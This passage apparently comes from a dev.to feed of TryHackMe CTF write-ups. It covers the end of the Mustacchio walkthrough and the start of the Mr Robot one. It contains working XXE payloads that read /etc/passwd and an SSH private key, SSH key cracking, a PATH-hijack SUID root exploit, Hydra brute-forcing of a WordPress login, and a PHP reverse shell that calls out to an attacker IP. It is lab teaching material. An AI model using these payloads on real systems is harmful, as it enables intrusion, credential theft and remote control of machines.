&lt;p&gt;The admin panel at port 8765 presents a single comment submission form. The POST body is a &lt;code&gt;xml=&lt;/code&gt; parameter — a direct XML input. A JavaScript comment in the page source hints at &lt;code&gt;/auth/dontforget.bak&lt;/code&gt;, and an HTML comment reads: &lt;code&gt;Barry, you can now SSH in using your key!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Three useful signals: the parameter name, a backup file path, and a username.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;Downloads/dontforget.bak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;comment&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;Joe Hamd&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;author&amp;gt;&lt;/span&gt;Barry Clad&lt;span class="nt"&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;com&amp;gt;&lt;/span&gt;...&lt;span class="nt"&gt;&amp;lt;/com&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/comment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The XML structure the parser expects is now known. When an application parses user-supplied XML and the parser has external entity processing enabled, an attacker can define a custom entity that references a file on the server's filesystem — effectively giving a file read primitive through the XML parser.&lt;/p&gt;

&lt;p&gt;XXE payload to read &lt;code&gt;/etc/passwd&lt;/code&gt; — confirming LFI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd" &amp;gt;&lt;/span&gt;]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;comment&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;Joe Hamd&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;author&amp;gt;&lt;/span&gt;Barry Clad&lt;span class="nt"&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;com&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/com&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/comment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sent via Burp Suite as a URL-encoded POST to &lt;code&gt;/home.php&lt;/code&gt;. The response rendered the full &lt;code&gt;/etc/passwd&lt;/code&gt; contents inside the comment preview, confirming XXE-to-LFI. Two user accounts confirmed: &lt;code&gt;joe&lt;/code&gt; (uid 1002) and &lt;code&gt;barry&lt;/code&gt; (uid 1003).&lt;/p&gt;

&lt;p&gt;XXE payload escalated to read Barry's SSH private key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;/span&gt;
  &lt;span class="cp"&gt;&amp;lt;!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" &amp;gt;&lt;/span&gt;]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;comment&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;Joe Hamd&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;author&amp;gt;&lt;/span&gt;Barry Clad&lt;span class="nt"&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;com&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/com&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/comment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Response (truncated)
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E
jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57...
-----END RSA PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Barry's encrypted SSH key extracted via the XML parser.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john id_rsa &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; key.hash
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt key.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;id_rsa:urieljames

1 password hash cracked, 0 left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passphrase: &lt;code&gt;urieljames&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh barry@10.48.141.220 &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa
&lt;span class="c"&gt;# Enter passphrase: urieljames&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;barry@mustacchio:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="go"&gt;62d77a4d5f97d47c5aa38b3b2651b831
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed — &lt;code&gt;barry&lt;/code&gt;'s sudo password isn't &lt;code&gt;urieljames&lt;/code&gt; (the key passphrase is not the system password). On to SUID hunting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/joe/live_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A SUID binary in another user's home directory, with a name suggesting it reads logs in real time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings /home/joe/live_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Live Nginx Log Reader
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /var/log/nginx/access.log    &lt;span class="c"&gt;# ^^^ relative path — no /usr/bin/tail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a program calls another program by name rather than by its full absolute path, the OS resolves the name by searching through the directories listed in &lt;code&gt;$PATH&lt;/code&gt;, left to right, stopping at the first match. If an attacker can prepend a directory they control to &lt;code&gt;$PATH&lt;/code&gt; and place a malicious executable with the same name there, the SUID binary will execute the malicious version — inheriting root privileges.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create fake tail that stamps SUID onto a bash copy&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/tail
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/tail

&lt;span class="c"&gt;# Prepend /tmp to PATH so our fake tail is found first&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp:&lt;span class="nv"&gt;$PATH&lt;/span&gt;

&lt;span class="c"&gt;# Trigger the SUID binary — it calls tail, finds ours first&lt;/span&gt;
/home/joe/live_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Live Nginx Log Reader
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/tmp/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-4.3# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3223581420d906c4dd1a5f9b530393a5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;users.bak&lt;/code&gt; SQLite database&lt;/strong&gt; exposed in &lt;code&gt;/custom/js/&lt;/code&gt; → &lt;code&gt;admin:SHA1&lt;/code&gt; hash&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashcat&lt;/strong&gt; cracked unsalted SHA1 → &lt;code&gt;bulldog19&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port 8765&lt;/strong&gt; (missed on first scan) → nginx admin panel, &lt;code&gt;admin:bulldog19&lt;/code&gt; worked&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XXE injection&lt;/strong&gt; on XML POST parameter → LFI confirmed via &lt;code&gt;/etc/passwd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XXE escalated&lt;/strong&gt; to read &lt;code&gt;/home/barry/.ssh/id_rsa&lt;/code&gt; → encrypted SSH key extracted&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;John the Ripper&lt;/strong&gt; cracked SSH key passphrase → &lt;code&gt;urieljames&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;barry&lt;/code&gt;&lt;/strong&gt; → user flag&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID binary &lt;code&gt;/home/joe/live_log&lt;/code&gt;&lt;/strong&gt; calls &lt;code&gt;tail&lt;/code&gt; with relative path&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PATH hijack&lt;/strong&gt; → fake &lt;code&gt;tail&lt;/code&gt; in &lt;code&gt;/tmp&lt;/code&gt; → SUID bash spawned&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/tmp/bash -p&lt;/code&gt;&lt;/strong&gt; → root shell → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SSH as &lt;code&gt;admin&lt;/code&gt;.&lt;/strong&gt; After cracking &lt;code&gt;bulldog19&lt;/code&gt;, the most obvious next step was SSH as &lt;code&gt;admin&lt;/code&gt;. The server rejected it immediately: &lt;code&gt;Permission denied (publickey)&lt;/code&gt;. The admin account has no password authentication enabled, only publickey. The credentials were valid, just for the wrong service. Port 8765's admin panel was the actual target.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;John the Ripper failing on the SHA1 hash.&lt;/strong&gt; &lt;code&gt;john&lt;/code&gt; was tried first and returned no results — the hash was already in John's potfile from a previous session, causing it to skip silently. Switching to Hashcat with &lt;code&gt;-m 100&lt;/code&gt; cracked it immediately. When John says "No password hashes left to crack," it often means the hash was already cracked in a prior run — always check &lt;code&gt;john --show hash.txt&lt;/code&gt; before concluding the password is uncrackable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;62d77a4d5f97d47c5aa38b3b2651b831&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/barry/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3223581420d906c4dd1a5f9b530393a5&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Database backup exposed in web-accessible directory&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Never store backup files under the webroot; move to a restricted off-web location and disable directory listing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unsalted SHA1 password hash&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use bcrypt, Argon2, or PBKDF2 for password storage; SHA1 is a digest algorithm, not a password hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XXE injection via unsanitised XML parser&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Disable external entity processing in the XML parser; validate and sanitise all XML input&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH private key readable via LFI&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Restrict &lt;code&gt;.ssh/&lt;/code&gt; permissions to &lt;code&gt;700&lt;/code&gt; and &lt;code&gt;id_rsa&lt;/code&gt; to &lt;code&gt;600&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUID binary calling utilities by relative path&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Always use absolute paths for system calls inside privileged binaries; audit all SUID binaries regularly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin panel on non-standard port with no rate limiting&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Apply rate limiting and account lockout to all login endpoints regardless of port&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;XXE is not just an academic vulnerability — when a web application parses XML and reflects the output, a single malicious DOCTYPE declaration can turn the XML parser into a filesystem reader. Disabling external entities should be the default, not an afterthought.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Mustacchio&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>An 858,160-Word Wordlist Had Only 11,451 Unique Words In It — Mr Robot CTF (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:32:04 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/an-858160-word-wordlist-had-only-11451-unique-words-in-it-mr-robot-ctf-tryhackme-5cb0</link>
      <guid>https://dev.to/cyberfarhan/an-858160-word-wordlist-had-only-11451-unique-words-in-it-mr-robot-ctf-tryhackme-5cb0</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; WordPress Credential Brute Force / SUID GTFOBins&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mr Robot CTF&lt;/strong&gt; is themed around the TV show of the same name, and it earns its medium difficulty honestly: the username isn't guessable without a custom wordlist, the wordlist is enormous without deduplication, and the route to a shell via the WordPress theme editor requires persistence when the obvious Metasploit path stumbles. The escalation chain is short but elegant — a two-step hop through &lt;code&gt;robot&lt;/code&gt; and straight to root via one of the most classic GTFOBins entries that exists: SUID nmap's &lt;code&gt;--interactive&lt;/code&gt; mode, a feature removed from nmap years ago but preserved here as a deliberate challenge artefact.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.48.166.199 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache (WordPress)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;443/tcp&lt;/td&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;Apache (self-signed cert: &lt;code&gt;www.example.com&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both ports 80 and 443 serve WordPress. The SSL cert is a generic placeholder — nothing to extract from it.&lt;/p&gt;

&lt;p&gt;Feroxbuster confirmed the expected WordPress structure. One critical discovery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;200  http://10.48.166.199/robots.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
fsocity.dic
key-1-of-3.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both files are listed without &lt;code&gt;Disallow&lt;/code&gt; — explicitly announced rather than hidden. &lt;code&gt;key-1-of-3.txt&lt;/code&gt; is the first flag. &lt;code&gt;fsocity.dic&lt;/code&gt; is a 6.9MB custom wordlist.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; fsocity.dic
&lt;span class="c"&gt;# 858160&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;858,160 words — most of them duplicates. Running Hydra against this raw would take hours unnecessarily.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sort &lt;/span&gt;fsocity.dic | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; fs-list    &lt;span class="c"&gt;# repeated words&lt;/span&gt;
&lt;span class="nb"&gt;sort &lt;/span&gt;fsocity.dic | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; fs-list   &lt;span class="c"&gt;# unique words&lt;/span&gt;
&lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; fs-list
&lt;span class="c"&gt;# 11451&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Down to 11,451 words — a 98.7% reduction. Hydra now finishes in minutes rather than hours.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;WordPress login error messages distinguish between "invalid username" and "wrong password for this username" — a classic username enumeration vector. This allows running Hydra in two separate, faster passes.&lt;/p&gt;

&lt;p&gt;Pass 1 — username enumeration (failure string: "Invalid username"):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-L&lt;/span&gt; fs-list &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;test &lt;/span&gt;10.48.166.199 &lt;span class="se"&gt;\&lt;/span&gt;
  http-post-form &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^:F=Invalid username"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[80][http-post-form] host: 10.48.166.199   login: elliot   password: test
[80][http-post-form] host: 10.48.166.199   login: Elliot   password: test
[80][http-post-form] host: 10.48.166.199   login: ELLIOT   password: test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Username: &lt;code&gt;elliot&lt;/code&gt; (all three case variants confirmed — WordPress login is case-insensitive for usernames).&lt;/p&gt;

&lt;p&gt;Pass 2 — password brute force (failure string: "The password you entered for the username"):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; elliot &lt;span class="nt"&gt;-P&lt;/span&gt; fs-list 10.48.166.199 &lt;span class="se"&gt;\&lt;/span&gt;
  http-post-form &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^:F=The password you entered for the username"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[80][http-post-form] host: 10.48.166.199   login: elliot   password: ER28-0652
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password: &lt;code&gt;ER28-0652&lt;/code&gt; — a reference to Elliot Alderson's employee ID from the show.&lt;/p&gt;

&lt;p&gt;Logged into the WordPress admin panel. The Theme Editor (&lt;code&gt;Appearance → Editor&lt;/code&gt;) allows direct PHP file editing. Target: &lt;code&gt;archive.php&lt;/code&gt; in the Twenty Fifteen theme, a file that won't break site functionality if overwritten.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.134.217/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering the shell by visiting the archive page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.48.166.199/?cat=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# listener
connect to [192.168.134.217] from (UNKNOWN) [10.48.166.199] 51092
daemon@ip-10-48-166-199:/...twentyfifteen$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell landed as &lt;code&gt;daemon&lt;/code&gt;. Full stabilisation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;span class="c"&gt;# Ctrl+Z&lt;/span&gt;
&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;fg
export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm
&lt;span class="nb"&gt;stty &lt;/span&gt;rows 40 columns 120
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home/robot
&lt;span class="c"&gt;# key-2-of-3.txt    password.raw-md5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;key-2-of-3.txt&lt;/code&gt; is permission-denied for &lt;code&gt;daemon&lt;/code&gt;. But &lt;code&gt;password.raw-md5&lt;/code&gt; is readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/robot/password.raw-md5
&lt;span class="c"&gt;# robot:c3fcd3d76192e4007dfb496cca67e13b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



